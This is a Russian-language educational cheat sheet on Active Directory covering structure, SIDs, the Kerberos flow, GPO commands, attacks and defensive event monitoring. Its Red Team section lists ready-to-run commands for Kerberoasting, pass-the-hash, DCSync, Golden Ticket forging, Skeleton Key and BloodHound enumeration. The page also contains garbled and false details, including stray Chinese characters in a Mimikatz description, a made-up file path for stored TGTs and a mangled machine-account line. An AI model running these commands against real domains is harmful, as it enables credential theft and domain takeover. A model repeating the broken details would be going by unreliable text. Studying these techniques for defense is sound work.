🏰

Active Directory

Структура, компоненты, Kerberos, GPO и атаки на AD

LDAP Kerberos GPO DNS Attacks
📋

Что такое Active Directory?

Active Directory (AD) — служба каталогов Microsoft для централизованного управления пользователями, компьютерами, политиками и ресурсами в корпоративной сети. Основа инфраструктуры Windows-доменов.

LDAP

Протокол доступа к каталогам (389/636)

Kerberos

Протокол аутентификации (88)

DNS

Разрешение имён домена (53)

Ключевые сервисы AD

  • AD DS — Domain Services (ядро)
  • AD CS — Certificate Services (PKI)
  • AD FS — Federation Services (SSO)
  • AD LDS — Lightweight Directory (LDAP)
  • AD RMS — Rights Management (DRM)
  • GPO — Group Policy Objects

Порты AD

# Основные порты Active Directory
LDAP       389   // Незашифрованный доступ к каталогу
LDAPS      636   // Зашифрованный LDAP (SSL/TLS)
Kerberos   88    // Аутентификация (TCP/UDP)
DNS        53    // Разрешение имён
SMB        445   // Файловые шары, SYSVOL, NETLOGON
GC         3268  // Global Catalog
GC (SSL)   3269  // Global Catalog over SSL
RPC        135   // Remote Procedure Call
WinRM      5985/5986 // Удалённое управление
🏗️

Структура Active Directory

Лес → Домен → OU

▶🌲 Forest (Лес) — группа доверенных доменов
▶🌐 Domain: corp.local — основной домен
▶📁 OU: IT
👤 user_admin01
💻 WS-IT-01
▶📁 OU: HR
👤 user_hr01
▶📁 OU: Servers
🖥️ DC01
🖥️ DC02
▶🌐 Domain: child.corp.local — дочерний домен

Компоненты домена

Domain Controller (DC)

Сервер, хранящий копию AD-базы. Обрабатывает аутентификацию и репликацию.

Global Catalog (GC)

Часть DC с частичной копией всех объектов леса. Порт 3268.

SYSVOL

Общая папка с GPO-скриптами. Реплицируется через DFS-R.

AD Database (NTDS.dit)

Файл БД: C:\Windows\NTDS\ntds.dit

🧩

Объекты AD

👤 Users

  • • Domain User — обычный пользователь
  • • Domain Admin — полный контроль домена
  • • Enterprise Admin — контроль всего леса
  • • Schema Admin — модификация схемы AD
  • • Administrator — встроенный admin (RID 500)
  • • KRBTGT — сервисный аккаунт Kerberos (RID 502)

🖥️ Computers

  • • Серверы и рабочие станции
  • • Сервисные аккаунты (gMSA)
  • • DC — отдельная OU для контроллеров
  • • Machine Account — пароль = $

📦 Groups

  • • Security Groups — для прав доступа
  • • Distribution Groups — для email
  • • Domain Local — права в пределах домена
  • • Global — членство из любого домена
  • • Universal — доступ из леса

📋 GPO

  • • Group Policy Object — политики
  • • Привязка к OU/домену/site
  • • Хранятся в SYSVOL
  • • GPMC.msc — редактор
  • • Приоритет: Site → Domain → OU

Ключевые SID-ы

# Встроенные well-known SID-ы
S-1-5-32-544    — Administrators
S-1-5-32-545    — Users
S-1-5-32-548    — Account Operators
S-1-5-32-549    — Server Operators
S-1-5-32-551    — Backup Operators
S-1-5-18        — SYSTEM (Local System)
S-1-5-19        — LOCAL SERVICE
S-1-5-domain-500 — Administrator (встроенный)
S-1-5-domain-502 — KRBTGT (Kerberos TGT)
🔑

Kerberos — Аутентификация

Port 88

Kerberos — протокол аутентификации по тикетам. Пользователь не отправляет пароль напрямую — вместо этого получает TGT (Ticket Granting Ticket), которым запрашивает доступ к сервисам.

Схема Kerberos

👤 User
Пароль → NTLM hash
→
🏦 KDC
DC с Kerberos
→
🎫 TGT
Ticket Granting Ticket
→
🎫 TGS
Service Ticket
→
🖥️ Service
Доступ к ресурсу

Процесс аутентификации

1. AS-REQ (Authentication Service Request)
   User → KDC: "Я пользователь X, дайте мне TGT"
   Отправляет: username + timestamp, зашифрованный паролем

2. AS-REP (Authentication Service Reply)
   KDC → User: "Вот ваш TGT"
   TGT зашифрован ключом KRBTGT — пользователь не может открыть

3. TGS-REQ (Ticket Granting Service Request)
   User → KDC: "У меня есть TGT, дайте мне доступ к cifs/dc01.corp.local"
   Прикрепляет TGT

4. TGS-REP (Ticket Granting Service Reply)
   KDC → User: "Вот ваш Service Ticket"
   ST зашифрован NTLM-хешем целевого сервиса

5. AP-REQ (Application Protocol Request)
   User → Service: "Вот мой Service Ticket"
   Сервис расшифровывает и проверяет

Важные файлы

  • • TGT хранится в памяти: C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\*.krbtgt*
  • • Тикеты в klist
  • • Ключ KRBTGT: NTDS.dit (только на DC)
  • • Lifetime TGT: 10 часов (по умолчанию)
📋

Group Policy Objects (GPO)

GPO — набор политик, применяемых к компьютерам и пользователям. Хранятся в SYSVOL и реплицируются между DC. Управление через GPMC.msc или PowerShell.

Приоритет GPO (LSDOU)

1. Local
→
2. Site
→
3. Domain
→
4. OU
→
+ WMI Filter
# PowerShell: управление GPO

# Посмотреть все GPO
PS> Get-GPO -All | Select-Object DisplayName, Id, CreationTime

# Экспорт GPO
PS> Backup-GPO -Name "Default Domain Policy" -Path "C:\GPOBackup"

# Создать GPO и привязать к OU
PS> New-GPO -Name "Security Hardening" | New-GPLink -Target "OU=Servers,DC=corp,DC=local"

# Посмотреть применённые GPO
PS> gpresult /r /scope:computer
PS> gpresult /h report.html

# Принудительное обновление
PS> gpupdate /force

Важные GPO для безопасности

Пароли

  • • Мин. длина: 14+ символов
  • • Сложность: включена
  • • Срок жизни: 90 дней
  • • История: 24 пароля

Аудит

  • • Аудит входа (успех/неудача)
  • • Аудит доступа к объектам
  • • Аудит изменений прав
  • • Аудит PowerShell
💀

Атаки на Active Directory

Red Team

🔥 Kerberoasting

Получение Service Ticket для сервисного аккаунта и offline-взлом пароля.

# Impacket: запрос ST
impacket-GetUserSPNs corp.local/user:pass -request

# Crack TGS offline
hashcat -m 13100 hash.txt rockyou.txt

# PowerShell (Rubeus)
Rubeus.exe kerberoast /outfile:hash.txt

⚠️ Любой пользователь может запрашивать ST для сервисных аккаунтов!

🔑 Pass-the-Hash (PtH)

Использование NTLM-хеша без знания пароля для аутентификации.

# Impacket: PtH
impacket-psexec corp.local/admin@dc01 -hashes aad3b435...:f0363...

# CrackMapExec
crackmapexec smb 10.10.10.1 -u admin -H aad3b435...:f0363...

# Mimikatz
sekurlsa::pth /user:admin /domain:corp.local /ntlm:f0363...

⚠️ NTLM-хеш = эквивалент пароля!

🐉 DCSync

Эмуляция DC для получения хешей всех пользователей.

# Mimikatz: извлечь все хеши
lsadump::dcsync /domain:corp.local /all

# Impacket
impacket-secretsdump corp.local/admin:pass@dc01

# Важно: нужен rights Replicating Changes

⚠️ Требует прав DS-Replication-Get-Changes-All!

👑 Golden Ticket

Фейковый TGT с ключом KRBTGT — полный контроль леса.

# Mimikatz: создать Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local `
  /sid:S-1-5-21-... /krbtgt:f0363... /ptt

# Impacket
impacket-ticketer -nthash f0363... -domain-sid S-1-5-21-... `
  -domain corp.local Administrator

⚠️ Нужен NTLM-хеш KRBTGT (2 раза сбросить!)

🦴 Skeleton Key

Внедрение в память DC — пароль "mimikatz" для всех аккаунтов.

# Mimikatz на DC (in-memory)
misc::skeleton

# Теперь любой аккаунт + пароль "mimikatz"
net use \\dc01\c$ /user:corp\admin mimikatz

⚠️ Временная атака — исчезает после перезагрузки DC

🕸️ BloodHound

Анализ векторов атаки и визуализация отношений в AD.

# SharpHound: сбор данных
SharpHound.exe -c All -d corp.local

# BloodHound Python
bloodhound-python -u user -p pass -d corp.local -ns 10.10.10.1

# Neo4j + Web UI для анализа
# Поиск shortest path to Domain Admin

💡 Ищет Shortest Path to Domain Admin

🛡️

Защита Active Directory

Blue Team

Мониторинг

  • ✅ Sysmon — логирование процессов
  • ✅ Event 4769 — запрос TGS (Kerberoasting)
  • ✅ Event 4624/4625 — вход/отказ
  • ✅ Event 4662 — доступ к AD-объектам
  • ✅ Event 4688 — создание процессов
  • ✅ Event 5140 — доступ к SMB

Меры защиты

  • 🔒 Managed Service Accounts (gMSA)
  • 🔒 Фильтрация SID History
  • 🔒 Protected Users группа
  • 🔒 LAPS — локальные пароли админов
  • 🔒 Microsoft ATA/Defender for Identity
  • 🔒 Регулярная ротация KRBTGT (2 раза)

Команды мониторинга

# Поиск Kerberoasting (Event 4769 с кодом 0x0)
PS> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} |
    Where-Object { $_.Properties[6].Value -eq "0x0" } |
    Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='SPN';E={$_.Properties[2].Value}}

# Поиск DCSync (репликация)
PS> Get-WinEvent -FilterHashtable @{LogName='Directory Service'; Id=4662} |
    Where-Object { $_.Properties[3].Value -match "Replicating" }

# Список сервисных аккаунтов с SPN
PS> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
    Select-Object Name, ServicePrincipalName

# Проверка пароля KRBTGT
PS> Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet
🧰

Инструменты

BloodHound

Анализ векторов атаки, визуализация AD

SharpHound

Сбор данных для BloodHound

Rubeus

Атаки на Kerberos

Mimikatz

Извлечение хешей, PtH,骨骼ные ключи

Impacket

psexec, secretsdump, GetUserSPNs

CrackMapExec

Сетевой аудит, PtH, enumeration

ADRecon

Отчёт по состоянию AD

PingCastle

Аудит безопасности AD

ldapsearch

Запросы LDAP (Linux)